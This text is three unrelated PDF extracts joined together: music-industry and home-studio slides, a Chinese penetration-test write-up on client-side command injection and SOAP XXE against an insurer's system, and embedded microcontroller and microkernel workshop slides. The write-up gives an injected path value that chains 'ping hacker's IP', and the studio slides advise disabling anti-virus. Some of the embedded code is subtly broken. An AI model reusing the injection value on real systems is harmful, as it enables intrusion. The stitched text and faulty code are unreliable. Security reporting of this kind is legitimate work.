• Companies sign bands as tax write-offs and
then dump them after the first of the year
• Overpriced CDs
Why does a CD Cost so Much?
• Record company: Manufacturing CDs is expensive!
• Survey says: Mass produced, replicated CDs are
less than a dollar for the total package.
-Side note: AOL gives away a ton of CDs
• Record Company: It costs a lot to record a CD.
• Survey says: Recording advances are given to
artists which they have to pay back. Company
doesn’t take the hit, unless they want to or unless it
was stated in the contract the company would pay.
They Resist Change
• Fight tooth and nail to keep things the same
• What happens to other companies that resist
change?
• If record companies were in the tech
business they would be out of business
• They compare to the buggy industry
The Effects on Radio
• The Industry releases 100 songs per week and
approx 4 are added to the average radio playlist
• Two radio conglomerates control 42% of the
listeners
• Hit Top 40 Songs are often repeated over 100
times a week
• One of these companies, Clear Channel
Communications, cancelled its support for local
musicians and listeners so they could make more
money
Why don’t People buy CDs?
• There is nothing worth buying
• They only like one song
• Too expensive
• I can get it for free
Applying Formulas
• 90% of all singles get to the hook within 20
seconds
• Approx. 98% of all #1 singles are less than 3
minutes and 30 seconds long
• Labels often ask artists to change lyrics or
content they find offensive or wouldn’t sell
the album
Food for Thought
What if these same formulas were added to
older music, how would that change things
like:
• Stairway to Heaven – Led Zep
• Hotel California – Eagles
• Bohemian Rhapsody – Queen
How would this have changed music history?
What are we missing out on today?
The Old Days
• Needed a contract for distribution
• Recording equipment was expensive
• Recording was expensive
• Reproduction was very costly
• Radio was impossible to reach without label
backing
What Has Changed?
• Recording equipment capable of 16bit
44.1Khz (CD quality) is very affordable
• Distribution can be done world wide with little
or no cost
• Reproduction prices are cheap
• Plenty of college & Internet radio stations
willing to play good music
• Recording can be done free with your own
equipment
What has changed?
• More affordable high-speed internet
connections
• No longer need to tour the country and go
broke to get people to know who you are
• No geographical limitations, you can live
pretty much anywhere
Independent Music Production
The Future
• Levels the playing field
• No longer who you know, it is how good you
are
• Artists retain rights to their material
• No formulas or templates to apply
• More variety
• Less competition between groups
What do I need for my studio?
Depends on the type of music you want to
record
• For electronic music you may just need a
solid computer, software of choice, good
sound card, and some studio monitors
• For recording instruments, vocals, or bands
you may need a few additional pieces like,
mixer, i/o box, and microphones
• Some systems bundle these together
Computer Recommendations
• Check the software and hardware vendor’s
site for recommended configurations
• No less than 512mb of RAM
• Dedicated secondary hard drive
• CD burner
• Over 2Ghz processor
• No anti-virus or anything else that constantly
runs in the background
Computer Recommendations
• No or carefully screen internet connections (
remember no anti-virus? :^)
• Updated drivers
• Enable DMA on hard disks
• The faster the hard disk spins the better
• Change role of computer to network server
Sound Card Recommendations
• M-Audio Audiophile 24/96 – Very solid and
cheap $149.99
• AudioTrak Maya44 MKII - $199.99
• RME Audio Digi 96/8 – $399.99
Sound card considerations
• Low Latency
• At least 24bits / 96Khz
• Make sure there is an ASIO driver available
• Check system compatibility
• Nothing made by SoundBlaster
Studio Monitor Recommendations
• Any studio monitor that Event Makes
• Event TR8N Reference Monitors – $499.99
• Alesis Monitor 1 Active MKII - $399.99
• M-Audio Studiophile BX8 - $479.99
Studio Monitor Considerations
• Near field reference
• Bigger the speaker is, the better the bass
• You usually listen to the music from approx.
3 feet away
• Your ears will adjust to the monitors
• Active (the power amp is built into the
monitor. Reduces noise and interference)
Microphones
For vocals
• AKG SolidTube – $799.99 (must be fairly
strong vocalist)
• Neumann TLM 103 – $749.99
• Some fairly decent condenser mics can be
found as cheap as $150 but you need a good
pre-amp to make them sound decent
Microphones
For instruments and drums
• Anything by Shure and AKG
• Condenser mic for instruments like acoustic
guitars
• When recording drums it is good practice to
use two condenser mics as overheads on the
left and right of the drum kit
• It is not uncommon to use 10 or more mics
when recording drums
Guitars and Bass
• Line 6 PODxt – Amp Modeler
• Line 6 Bass PODxt – Amp Modeler
• Shure SM57 microphone – for mic’ing guitar
cabinets
• Condenser microphone for mic’ing bass
cabinets
Microphones
Drums
• You can usually buy a pre-packaged drum
mic kit for $199 and up
• Sometimes you get what you pay for
• Pro Tools Sound Replacer – can be an
invaluable tool in fixing drum sound issues
Software recommendations
• Propellerheads Reason – for electronic music
creation and beat production
• Acid – for remixing and some VST instruments
• Cubase SX – electronic music creation and VST
instruments
• Digidesign Pro Tools – The defacto standard in
audio recording and editing
• WaveLab – Wave file manipulation and audio
mastering
What do these people do?
• Engineer – Usually the person who gets stuff ready
to record and tracks the recording
• Mixing engineer – Person who equalizes and puts
the levels in the right place
• Mastering engineer – Person who takes the product
of mixing and puts the finishing touches on the final
two stereo WAVs
• Producer – Person who makes sure everything
sounds the way it should from start to finish
Problems with Indie System
• Advertising and promotions
• Misconceptions
• No rating system (mostly peer review)
• No good, standard way to collect money for
plays of your song
Independent Artist Tips
• Have a good web site
• Present yourself well
• Present yourself bigger than you are
• Communicate and create friendships with
other independent artists
• Create independent musical networks
• Know where you are and what you need to
do to improve
Tips for the Producer
• Don’t get frustrated (a lot of trial and error)
• Remember it is always easier to add than to
take away
• Listen to mixes on many different systems at
the very least a car, home stereo, computer
and a boom box
• Get accustomed to your monitors
• Listen in a realistic environment
Tips for the Producer
• Your ears can deceive you
• Listen to good recordings of instruments that
you are getting ready to track
• Something may sound like crap on its own,
but sound good in the mix
• Layer your instruments
• Create stereo effects by recording two tracks
of the same audio and panning one all the
way left and the other all the way right
Tips for the Producer
• Don’t be afraid to experiment
• Be mindful of effects that make your music
sound dated, unless that is your goal
• Clean, punchy, and equalized right to the
edge will give your recording a modern feel
• Learn what each EQ range sounds like and
know what your track is missing
I’ve made my own music so…
• Post it online in as many places as possible
• Share though P2P
• Get people to notice
• Talk to other artists
• Get CDs made
• Sell CDs online
• Share knowledge with the community
I’ve made my own music so…
• Find Internet and College radio stations
willing to play your stuff
• Find places that can charge for plays of your
music like Apple iTunes
• Use your songs to promote yourself and your
web site
Community helping each other
• Collaborative recording processes
• Files can be sent over the net
• Mixed and mastered elsewhere
• Plenty of help through forums
• Streaming Audio
• Share talents
• World Wide collection of talent
What does the future hold?
• Instead of the Billboard charts we have the
Internet Download charts
• Different royalty collection methods
• More quality independent artists
• Artists retaining rights to their music
• More variety
• System structure changes
• Progress that actually moves forward
What needs to happen
• A service that is reasonably priced that pays
artists
• Attention needs to be drawn to the
advantages of in independent system
• Investors for a new system
• Willingness to take a chance
My Project
Why did I do this project?
• To prove the point that you don’t need to
spend thousands of dollars on a recording
when you can do it yourself at home, even if
you live in an apartment
My Project
• In Your Eyes by Peter Gabriel
• Recently rerecorded by SR71
• Recently rerecorded by me in my own
apartment
• Details available here
www.loopbackimposter.com/project.html
• My version available here
www.loopbackimposter.com/music.html
• Compare
My Site
• www.loopbackimposter.com
• Papers
• Music
• Reviews
• Resources
• Contact
Useful Links
• www.musiciansfriend.com – Equipment
• www.garageband.com – artist reviews
• www.getsigned.com – artist resource and
promotion
• www.ampcast.com – post your music
• www.audioforums.com – Get help
• www.digidesign.com – Pro Tools site and
forums
Useful Links
• www.propellerheads.se – Reason and
forums
• www.reasonfreaks.com – Reason forum
• www.futureproducers.com – Audio forum
• www.homerecording.com – Audio forum
• www.cdbaby.com – sell your CDs online
• www.eff.org – Electronic Frontier Foundation | pdf |
0x00 前⾔
有技术交流或渗透测试培训需求的朋友欢迎联系QQ/VX-547006660
0x01 起因
朋友给某甲⽅做渗透测试,奈何甲⽅是某知名保险,系统太耐⺾,半天不出货
兄弟喊我来⼀块来看,于是有了本⽂
0x02 客户端RCE⼀处
朋友把靶标发给我看了下,除了两个下载链接啥也没有
链接下载下来的东⻄如图,看了下⽬录⾥⾯还有JRE,那么很显然,这客户端exe就是个JAVA启动命令执⾏套壳
随后打开program⽂件夹,逆了⼀下⾥⾯的Jar
full_path前⾯定义为⽤户更新时输⼊的路径
那么很简单了full_path可控,诱导⽤户安装更新时路径出输⼊注⼊命令即可
0x03 发现Webservice Soap接⼝
光这⼀个⽔来的客户端RCE肯定是不够的,接下来继续挖掘服务端
看了看没别的功能点,我就简单FUZZ了⼀下这个系统三级⽬录
最后FUZZ出来了⼀个webservice接⼝
http://.xxxxxx.cn/xxxx/service
D:\software && ping hacker's IP
拼接出其wsdl接⼝
http://.xxxxxx.cn/xxxx/service/BusinessService?wsdl
但导⼊SoapUI或AWVS的调试模块进⾏调试时却发现其导⼊失败
仔细看了下WSDL返回的信息。。。妈的WSDL Import Location和Soap Address Location都是内⽹域名
不过幸运的是,该系统的外⽹域名拼接路径后也可以访问到这个WSDL接⼝
但是⾃动化的Soap接⼝调试⼯具是“看⻅什么就import什么”,这可让⼈犯了难
0x04导⼊SoapUI
思考了⼀会,突然想起来BurpSuite可以把RequestBody和ResponseBody的值进⾏替换,hhh,那我们就有办法
导⼊了
在Burpsuite的Porxy Option中增加Match&Replace规则
将WSDL Import Location和Soap Address Location处对应的内⽹域名都替换为外⽹域名
随后在SoapUI中设置Proxy
打开代理,再次添加WSDL,ResponseBody的内⽹域名成功被替换,WSDL导⼊成功~
0x05 XXE挖掘
导⼊接⼝后,发现有参数为dataXML,⼼中暗喜XXE估计是送上⻔了
直接BurpSuite中利⽤XXE OOB测试
OOB成功,XXE到⼿,收摊~
0x06 总结
坚持⼀下,守得云开⻅⽉明,漏洞就在眼前~ | pdf |
Embedded System Design:
From Electronics
to Microkernel Development
Rodrigo Maximiano Antunes de Almeida
[email protected]
@rmaalmeida
Universidade Federal de Itajubá
Portal embarcados
The work ”Embedded System Design: From Electronics to Microkernel
Development” of Rodrigo Maximiano Antunes de Almeida was licensed
with Creative Commons 3.0 – Attribution – Non Commercial – Share Alike
license.
Additional permission can be given by the author through direct contact
using the e-mail: [email protected]
Creative Commons License
Workshop schedule
• Hardware
Electronics introduction
Board development
• Firmware
Embedded programming
Peripheral access
• Kernel
Timing requirements
Device drivers
Hardware
Hardware concepts
• Electronics introduction
Schematics
Datasheets
Protoboard/breadboard
LED
Potentiometer
LCD
Microcontroller
• System design
Basic steps
Electronics introduction
• http://xkcd.com/730/
Schematics
• Way to represent the
components and its
connections
• Each component has
its own symbol
• Crossing wires only
are connected if
joined with a dot
Datasheets
• The main source of information concerning
electronics
• Presents
Electrical characteristics
Simplified schematics
Use example
Opcodes/API
Protoboard/Breadboard
LED
LED
Potentiometer
• Linear/Log
• Used as voltage
divisor
• Need an analog input
• Filter
Potentiometer
LCD Display
LCD Display
• Complete interface solution
Screen + Video card + Protocol + Data cable
• “Standard” HD44780
4/8 bits communication
3 control bits
LCD Display
• Backlight
• Data connection
• Current consumption
• Power on time/routine
Microcontroller
• System-on-a-chip
Processor
Memory
Input/Output
peripherals
Communication
Safety components
Microcontroller
• Xtal configuration
• Reset pin
• DC needs
• Many peripherals on
the same pin
System desing
System design
• Steps on a generic electronic system design
Define the objective(s)
Choose the main components needed to achieve the
objective
Get the use example and recommendations from
component datasheet
Build the schematics
Simulation of HW elements
Board layout
System design
• Free CAD tools for electronics
Fritzing (fritzing.org)
Kicad
LTSpice
https://www.circuitlab.com/
System design
• Ultra fast workshop
Power source development
• Online circuit simulation + fritzing for layout
From concept to ready to manufacture in 10 min
System design
• Minimum circuit
components
Microcontroller
Voltage source
Input/Output as
needed
Clock source
Programmer
connection
Firmware
development
Firmware development
• Programmer
• IDE
• Basic concepts
CPU Architecture
HW configuration
Memory access
• First program (Led blinking)
• Second program (ADC read)
• Third program (LCD access)
Firmware tools
• Programmer
PICkit3
Can use ICSP
Can program a lot of
Microchip products
Also a debugger
Jtag equivalent
Firmware tools
Firmware tools
• IDE
MPLABX
• Based on Netbeans
• Compiler
SDCC
• Based on GCC
GPUtils
Embedded
programming
concepts
Becouse while(a==a); is not an infinite loop!
Embedded programming concepts
Embedded programming concepts
• Memory segmentation
Embedded programming concepts
• HW configuration
Some options must be set before the program start
This can only be accomplished by special instructions
Compiler datasheet
Embedded programming concepts
Embedded programming concepts
#pragma config MCLRE=ON
// Master Clear desabilitado
#pragma config FOSC=INTOSC_XT
// Oscilador c/ cristal externo HS
#pragma config WDT=OFF
// Watchdog controlado por
software
#pragma config LVP=OFF
// Sem programação em baixa tensão
#pragma config DEBUG=OFF
// Desabilita debug
#pragma config XINST=OFF
Embedded programming concepts
Embedded programming concepts
• Build a pointer to a specific memory address:
void main (void){
char *ptr;
//pointing to the port D
ptr = 0xF83;
//changing all outputs to high
*ptr = 0xFF;
}
Embedded programming concepts
• Building a header with all definitions
__near = sfr region
volatile = can change without program acknowledge
#define PORTD (*(volatile __near unsigned char*)0xF83)
#define TRISC (*(volatile __near unsigned char*)0xF94)
//this is not an infinite loop!
while( PORTD == PORTD);
Embedded programming concepts
• Bitwise operations
char mask;
mask = 1 << 2;
arg = arg | mask;
//one line
arg = arg | (1<<bit);
//using define
#define BitSet(arg,bit) ((arg) |= (1<<bit))
#define BitClr(arg,bit) ((arg) &= ~(1<<bit))
#define BitFlp(arg,bit) ((arg) ^= (1<<bit))
#define BitTst(arg,bit) ((arg) & (1<<bit))
Hands on
First lab
• Assemble the first circuit
• Open MPLABX IDE
configure SDCC and PICkit
• Create a project to
Blink a led
First lab
First Lab
#define PORTD (*(volatile __near unsigned char*)0xF83)
#define TRISD (*(volatile __near unsigned char*)0xF95)
void main(void) {
TRISD = 0x00;
for(;;){
PORTD ^= 0xFF;
//delay();
}
}
Second lab
• Using ADC potentiometer as input
Peripherals setup
• Analog to digital
converter
ADC setup
#define TRISA
(*(volatile __near unsigned char*)0xF92)
#define ADCON2 (*(volatile __near unsigned char*)0xFC0)
#define ADCON1 (*(volatile __near unsigned char*)0xFC1)
#define ADCON0 (*(volatile __near unsigned char*)0xFC2)
#define ADRESL (*(volatile __near unsigned char*)0xFC3)
#define ADRESH (*(volatile __near unsigned char*)0xFC4)
void adInit(void) {
BitSet(TRISA, 0);
//pin setup
ADCON0 = 0b00000001; //channel select
ADCON1 = 0b00001110; //ref = source
ADCON2 = 0b10101010; //t_conv = 12 TAD
}
ADC setup
unsigned int adRead(void){
unsigned int ADvalue;
BitSet(ADCON0,1);
//start conversion
while(BitTst(ADCON0,1));
//wait
ADvalue = ADRESH;
//read result
ADvalue <<= 8;
ADvalue += ADRESL;
return ADvalor;
}
Second lab
void main(void) {
unsigned int i;
unsigned int ad;
TRISD = 0x00;
adInit();
for (;;) {
ad = adRead();
PORTD = 0xff;
for (i = 0; i < ad; i++);
PORTD = 0x00;
for (i = ad; i < 1024; i++);
}
}
Second Lab
Third example
• Using a LCD as information output peripheral
LCD communication
• The data is always an 8 bit information
It may be split in two 4 bit data transfer
• The data may represent a character or a
command
They are distinguished by RS pin
• The data must be stable for "some time"
In this period the EN pin must be set
LCD communication
#define RS 6
#define EN 7
void delayMicroseconds(int ms) {
int i;
for (; ms > 0; ms--) {
for (i = 0; i < 30; i++);
}
}
void pulseEnablePin() {
BitClr(PORTC, EN);
delayMicroseconds(1);
// send a pulse to enable
BitSet(PORTC, EN);
delayMicroseconds(1);
BitClr(PORTC, EN);
}
LCD communication
void pushNibble(int value, int rs) {
PORTD = value;
if (rs) {
BitSet(PORTC, RS);
} else {
BitClr(PORTC, RS);
}
pulseEnablePin();
}
void pushByte(int value, int rs) {
int val_lower = value & 0x0F;
int val_upper = value >> 4;
pushNibble(val_upper, rs);
pushNibble(val_lower, rs);
}
LCD communication
void lcdCommand(int value) {
pushByte(value, 0);
delayMicroseconds(40);
}
void lcdChar(int value) {
pushByte(value, 1);
delayMicroseconds(2);
}
void lcdInit() {
BitClr(TRISC, EN);
BitClr(TRISC, RS);
TRISD = 0x0f;
delayMicroseconds(50);
commandWriteNibble(0x03);
delayMicroseconds(5);
commandWriteNibble(0x03);
delayMicroseconds(100);
commandWriteNibble(0x03);
delayMicroseconds(5);
commandWriteNibble(0x02);
delayMicroseconds(10);
//display config
lcdCommand(0x28); //4bits, 2 linhas, 5x8
lcdCommand(0x06); //incremental mode
lcdCommand(0x0c); //display on, cursor and blink off
lcdCommand(0x03); //clean internal variables
lcdCommand(0x80); //initial position
lcdCommand(0x01); //clear display
delayMicroseconds(2);
}
LCD communication
LCD communication
• The LCD can hold up
to 8 custom characters
• Each character is a 5*8
matrix
• Translating: 40*64 b/w
drawing area
Source: http://www.8051projects.net/lcd-interfacing/lcd-custom-character.php
LCD communication
LCD communication
void lcdDefconLogo(void) {
int i;
unsigned char defcon[] = {
0x00, 0x01, 0x03, 0x03, 0x03, 0x03, 0x01, 0x04,
0x0e, 0x1f, 0x04, 0x04, 0x1f, 0x0e, 0x11, 0x1f,
0x00, 0x10, 0x18, 0x18, 0x18, 0x18, 0x10, 0x04,
0x0c, 0x03, 0x00, 0x00, 0x00, 0x03, 0x0c, 0x04,
0x00, 0x00, 0x1b, 0x04, 0x1b, 0x00, 0x00, 0x00,
0x06, 0x18, 0x00, 0x00, 0x00, 0x18, 0x06, 0x02
};
lcdCommand(0x40);
for (i = 0; i < 8 * 6; i++) {
lcdChar(defcon[i]);
}
}
Third Laboratory
• Read ADC value and
present in LCD
Third Laboratory
Time to break;
Back @ 14:00
//afternoon topics
void main (void){
//variable declaration
kernel_project(1);
//initialization
concepts(2);
//hard-work
microkernel(3);
device_driver_controller(4);
}
void kernel_project (float i){
what_is_a_kernel(1.1);
alternatives(1.2);
monolithic_vs_microkernel(1.3);
kernel_design_decisions(1.4);
this_course_decisions(1.5);
}
kernel_project(1);
what_is_a_kernel(1.1);
kernel_project(1);
kernel_project(1);
• Kernel tasks:
1.
Manage and coordinate the processes execution
using “some criteria”
2. Manage the free memory and coordinate the
processes access to it
3. Intermediate the communication between the
hardware drivers and the processes
kernel_project(1);
Develop my own kernel?
Why?
kernel_project(1);
• Improve home design
• Reuse code more efficiently
• Full control over the source
• Specific tweeks to the kernel
Faster context switch routine
More control over driver issues (interrupts)
kernel_project(1);
Develop my own kernel?
Why not?
kernel_project(1);
• Kernel overhead (both in time and memory)
• Free and paid alternatives
• Time intensive project
• Continuous development
kernel_project(1);
• Alternatives
Windows Embedded Compact®
VxWorks®
X RTOS®
uClinux
FreeRTOS
BRTOS
kernel_project(1);
Monolithic kernel versus microkernel
Linus Torvalds and Andrew Tanenbaum
kernel_project(1);
• Kernel design decisions
I/O devices management
Process management
System safety
kernel_project(1);
• Our decisions:
Microkernel
Non-preemptive
Cooperative
No memory management
Process scheduled based on timer
Isolate drivers using a controller
void concepts (float i){
function_pointers(2.1);
structs(2.2);
circular_buffers(2.3);
temporal_conditions(2.4);
void_pointers(2.5);
}
concepts(2);
function_pointers(2.1);
concepts(2);
• Necessity:
Make an image editor
that can choose the
right function to call
• 1st Implementation
Use a option
parameter as a switch
operator
concepts(2);
image Blur(image nImg){}
image Sharpen(image nImg){}
image imageEditorEngine(image nImg, int opt){
image temp;
switch(opt){
case 1:
temp = Sharpen(nImg);
break;
case 2:
temp = Blur(nImg);
break;
}
return temp;
}
concepts(2);
• Function pointers
Work almost as a normal pointer
Hold the address of a function start point instead the
address of a variable
The compiler need no known the function signature
to pass the correct parameters and the return value.
Awkard declaration (it is best to use a typedef)
concepts(2);
//defining the type pointerTest
//it is a pointer to function that:
// receives no parameter
// returns no parameter
typedef void (*pointerTest)(void);
//Function to be called
void nop (void){ __asm NOP __endasm }
//creating an pointerTest variable;
pointerTest foo;
foo = nop;
(*foo)(); //calling the function via pointer
concepts(2);
Re-code the image editor engine using
function pointers
concepts(2);
image Blur(image nImg){}
image Sharpen(image nImg){}
typedef image (*ptrFunc)(image nImg);
//image editor engine
image imageEditorEngine(ptrFunc function,
image nImg){
image temp;
temp = (*function)(nImg);
return temp;
}
concepts(2);
• Good
New function
additions do not alter
the engine
The engine only needs
to be tested once
Can change the
function
implementations
dynamically
• Bad
More complex code
(function pointers are
not so easy to work
with)
Not all compilers
support function
pointers
concepts(2);
structs(2.2);
concepts(2);
// struct declaration
typedef struct{
unsigned short int age;
char name[51];
float weight;
}people;
• Structs are composed variables.
• Group lots of information as if they were one
single variable.
• A vector that each position stores a different
type
void main(void){
struct people myself = {26, "Rodrigo", 70.5};
myself.age = 27;
//using each variable from the struct
printf("Age: %d\n", myself.age);
printf("Name: %s\n", myself.name);
printf("Weight: %f\n", myself.weight);
return 0;
}
concepts(2);
// struct declaration
typedef struct{
unsigned short int *age;
char *name[51];
float *weight;
}people;
void main(void){
struct people myself = {26, "Rodrigo", 70.5};
//using each variable from the struct
printf("Age: %d\n", myself->age);
printf("Name: %s\n", myself->name);
printf("Weight: %f\n", myself->weight);
return 0;
}
concepts(2);
concepts(2);
circular_buffers(2.3);
concepts(2);
• Circular Buffers
“Endless” memory spaces
Use FIFO aproach
Store temporary data
Can implemented using vectors or linked-lists
concepts(2);
• Vector implementation
Uses less space
Need special caution when cycling
Problem to differentiate full from empty
#define CB_SIZE 10
int circular_buffer[CB_SIZE];
int index=0;
for(;;){
//do anything with the buffer
circular_buffer[index] = index;
//increment the index
index = (index+1)%CB_SIZE;
}
concepts(2);
concepts(2);
#define CB_SIZE 10
int circular_buffer[CB_SIZE];
int start=0, end=0;
char AddBuff(int newData)
{
//check if there is space to add a number
if ( ((end+1)%CB_SIZE) != start)
{
circular_buffer[end] = newData;
end = (end+1)%CB_SIZE;
return SUCCESS;
}
return FAIL;
}
concepts(2);
temporal_conditions(2.4);
concepts(2);
In the majority part of embedded
systems, we need to guarantee
that a function will be executed
in a certain frequency. Some
systems may even fail if these
deadlines are not met.
concepts(2);
• To implement temporal conditions:
1.
There must be a tick event that occurs with a
precise frequency
2. The kernel must be informed of the execution
frequency needed for each process.
3. The sum of process duration must “fit” within the
processor available time.
concepts(2);
• 1st condition:
Needs an internal timer that can generate an
interrupt.
• 2nd condition:
Add the information for each process when creating
it
• 3rd condition:
Test, test and test.
If fail, change chip first, optimize only on last case
concepts(2);
• Scheduling processes:
Using a finite timer to schedule will result in overflow
Example: scheduling 2 processes for 10 and 50
seconds ahead.
concepts(2);
• And if two process are to be called in the same
time?
concepts(2);
• Question:
From the timeline above (only the timeline) is P2 late
or it was scheduled to happen 55(s) from now?
concepts(2);
• Solution:
Use a downtime counter for each process instead of
setting a trigger time.
• Problem:
Each counter must be decremented in the interrupt
subroutine.
Is it a problem for your system?
concepts(2);
void_pointers(2.5);
concepts(2);
• Void pointers
Abstraction that permits to the programmer to pass
parameters with different types to the same function.
The function which is receiving the parameter must
know how to deal with it
It can not be used without proper casting!
concepts(2);
char *name = "Paulo";
double weight = 87.5;
unsigned int children = 3;
void main (void){
//its not printf, yet.
print(0, &name);
print(1, &weight);
print(2, &children);
}
concepts(2);
void print(int option; void *parameter){
switch(option){
case 0:
printf("%s",(char*)parameter);
break;
case 1:
printf("%f",*((double*)parameter));
break;
case 2:
printf("%d",*((unsigned int*)parameter));
break;
}
}
void microkernel (float i){
init_kernel(3.0);
for(int i=1; i<4; i++;)
{
kernel_example(3+i/10);
}
running_the_kernel(3.4);
}
microkernel(3);
init_kernel(3.0);
microkernel(3);
• The examples will use a minimum of hardware or
platform specific commands.
• Some actions (specifically the timer) needs
hardware access.
microkernel(3);
//first implementation
kernel_example(3.1);
microkernel(3);
//pointer function declaration
typedef void(*ptrFunc)(void);
//process pool
static ptrFunc pool[4];
• In this first example we will build the main part
of our kernel.
• It should have a way to store which functions are
needed to be executed and in which order.
• This will be done by a static vector of pointers to
function
microkernel(3);
void tst1(void){
printf("Process 1\n");
}
void tst2(void){
printf("Process 2\n");
}
void tst3(void){
printf("Process 3\n");
}
• Each process is a function with the same
signature of ptrFunc
microkernel(3);
//kernel internal variables
ptrFunc pool[4];
int end;
//kernel function's prototypes
void kernelInit(void);
void kernelAddProc(ptrFunc newFunc);
void kernelLoop(void);
• The kernel itself consists of three functions:
One to initialize all the internal variables
One to add a new process
One to execute the main kernel loop
microkernel(3);
//kernel function's implementation
void kernelInit(void){
end = 0;
}
void kernelAddProc(ptrFunc newFunc){
if (end <4){
pool[end] = newFunc;
end++;
}
}
microkernel(3);
//kernel function's implementation
void kernelLoop(void){
int i;
for(;;){
//cycle through the processes
for(i=0; i<end; i++){
(*pool[i])();
}
}
}
microkernel(3);
//main loop
void main(void){
kernelInit();
kernelAddProc(tst1);
kernelAddProc(tst2);
kernelAddProc(tst3);
kernelLoop();
}
microkernel(3);
Simple?
microkernel(3);
//second implementation
//circular buffer and struct added
kernel_example(3.2);
microkernel(3);
• The only struct field is the function pointer.
Other fields will be added latter.
• The circular buffer open a new possibility:
A process now can state if it wants to be rescheduled
or if it is a one-time run process
In order to implement this every process must return
a code.
This code also says if there was any error in the
process execution
microkernel(3);
//return code
#define SUCCESS
0
#define FAIL
1
#define REPEAT
2
//function pointer declaration
typedef char(*ptrFunc)(void);
//process struct
typedef struct {
ptrFunc function;
} process;
process pool[POOL_SIZE];
microkernel(3);
char kernelInit(void){
start = 0;
end = 0;
return SUCCESS;
}
char kernelAddProc(process newProc){
//checking for free space
if ( ((end+1)%POOL_SIZE) != start){
pool[end] = newProc;
end = (end+1)%POOL_SIZE;
return SUCCESS;
}
return FAIL;
}
microkernel(3);
void kernelLoop(void){
for(;;){
//Do we have any process to execute?
if (start != end){
//check if there is need to reschedule
if (pool[start]->Func() == REPEAT){
kernelAddProc(pool[start]);
}
//prepare to get the next process;
start = (start+1)%POOL_SIZE;
}
}
}
microkernel(3);
void tst1(void){
printf("Process 1\n");
return REPEAT;
}
void tst2(void){
printf("Process 2\n");
return SUCCESS;
}
void tst3(void){
printf("Process 3\n");
return REPEAT;
}
• Presenting the new processes
microkernel(3);
void main(void){
//declaring the processes
process p1 = {tst1};
process p2 = {tst2};
process p3 = {tst3};
kernelInit();
//Test if the process were added
if (kernelAddProc(p1) == SUCCESS){
printf("1st process added\n");}
if (kernelAddProc(p2) == SUCCESS){
printf("2nd process added\n");}
if (kernelAddProc(p3) == SUCCESS){
printf("3rd process added\n");}
kernelLoop();
}
microkernel(3);
//third implementation
//time conditions added
kernel_example(3.3);
microkernel(3);
//process struct
typedef struct {
ptrFunc
function;
int period;
int start;
} process;
• The first modification is to add one counter to
each process
microkernel(3);
void isr(void) __interrupt 1{
unsigned char i;
i = ini;
while(i!=fim){
if((pool[i].start)>(MIN_INT)){
pool[i].start--;
}
i = (i+1)%SLOT_SIZE;
}
}
• We must create an function that will run on each
timer interrupt updating the counters
microkernel(3);
char AddProc(process newProc){
//checking for free space
if ( ((end+1)%SLOT_SIZE) != start){
pool[end] = newProc;
//increment start timer with period
pool[end].start += newProc.period;
end = (end+1)%SLOT_SIZE;
return SUCCESS;
}
return FAIL;
}
• The add process function will be the responsible
to initialize correctly the fields
microkernel(3);
if (start != end){
//Finding the process with the smallest start
j = (start+1)%SLOT_SIZE;
next = start;
while(j!=end){
if (pool[j].start < pool[next].start){
next = j;
}
j = (j+1)%SLOT_SIZE;
}
//exchanging positions in the pool
tempProc = pool[next];
pool[next] = pool[start];
pool[start] = tempProc;
while(pool[start].start>0){
}//great place to use low power mode
if ( (*(pool[ini].function))() == REPEAT ){
AddProc(&(vetProc[ini]));
}
ini = (ini+1)%SLOT_SIZE;
}
microkernel(3);
running_the_kernel(3.4);
“My board's programming” also works =)
void dd_controler (float i){
device_driver_pattern(5.1);
controller_engine(5.2);
isr_abstract_layer(5.3);
driver_callback(5.4);
}
device_driver_controller(4);
device_driver_pattern(5.1);
device_driver_controller(4);
• What is a driver?
An interface layer that translate hardware to software
• Device driver standardization
Fundamental for dynamic drivers load
device_driver_controller(4);
• Parameters problem
The kernel must be able to communicate in the same
way with all drivers
Each function in each driver have different types and
quantities of parameters
• Solution
Pointer to void
device_driver_controller(4);
Driver example
Generic Device Driver
drvGeneric
-thisDriver: driver
-this_functions: ptrFuncDrv[ ]
-callbackProcess: process*
+availableFunctions: enum = {GEN_FUNC_1, GEN_FUNC_2 }
-init(parameters:void*): char
-genericDrvFunction(parameters:void*): char
-genericIsrSetup(parameters:void*): char
+getDriver(): driver*
driver
+drv_id: char
+functions: ptrFuncDrv[ ]
+drv_init: ptrFuncDrv
device_driver_controller(4);
controller_engine(5.2);
device_driver_controller(4);
• Device Driver Controller
Used as an interface layer between the kernel and
the drivers
Can “discover” all available drivers (statically or
dynamically)
Store information about all loaded drivers
Responsible to interpret the messages received from
the kernel
device_driver_controller(4);
char initDriver(char newDriver) {
char resp = FAIL;
if(dLoaded < QNTD_DRV) {
//get driver struct
drivers[dLoaded] = drvInitVect[newDriver]();
//should test if driver was loaded correcly
resp = drivers[dLoaded]->drv_init(&newDriver);
dLoaded++;
}
return resp;
}
device_driver_controller(4);
char callDriver(char drv_id, char func_id, void *p) {
char i;
for (i = 0; i < dLoaded; i++) {
//find the right driver
if (drv_id == drivers[i]->drv_id) {
return drivers[i]->func[func_id].func_ptr(p);
}
}
return DRV_FUNC_NOT_FOUND;
}
device_driver_controller(4);
void main(void) {
//system initialization
kernelInitialization();
initDriver(DRV_LCD);
callDriver(DRV_LCD, LCD_CHAR, 'D');
callDriver(DRV_LCD, LCD_CHAR, 'E');
callDriver(DRV_LCD, LCD_CHAR, 'F');
callDriver(DRV_LCD, LCD_CHAR, 'C');
callDriver(DRV_LCD, LCD_CHAR, '0');
callDriver(DRV_LCD, LCD_CHAR, 'N');
callDriver(DRV_LCD, LCD_CHAR, '@');
callDriver(DRV_LCD, LCD_CHAR, 'L');
callDriver(DRV_LCD, LCD_CHAR, 'A');
callDriver(DRV_LCD, LCD_CHAR, 'S');
}
device_driver_controller(4);
Where are the defines?
device_driver_controller(4);
enum {
LCD_COMMAND, LCD_CHAR, LCD_INTEGER, LCD_END
};
enum {
DRV_INTERRUPT, DRV_TIMER, DRV_LCD, DRV_END
};
• In order to simplify the design, each driver build
its function define enum.
• The controller builds a driver define enum
device_driver_controller(4);
isr_abstract_layer(5.3);
device_driver_controller(4);
//SDCC compiler way
void isr(void) interrupt 1{
thisInterrupt();
}
//C18 compiler way
void isr (void){
thisInterrupt();
}
#pragma code highvector=0x08
void highvector(void){
_asm goto isr _endasm
}
#pragma code
• Interrupts are closely related to hardware
• Each architecture AND compiler pose a different
programming approach
• How to hide this from programmer?
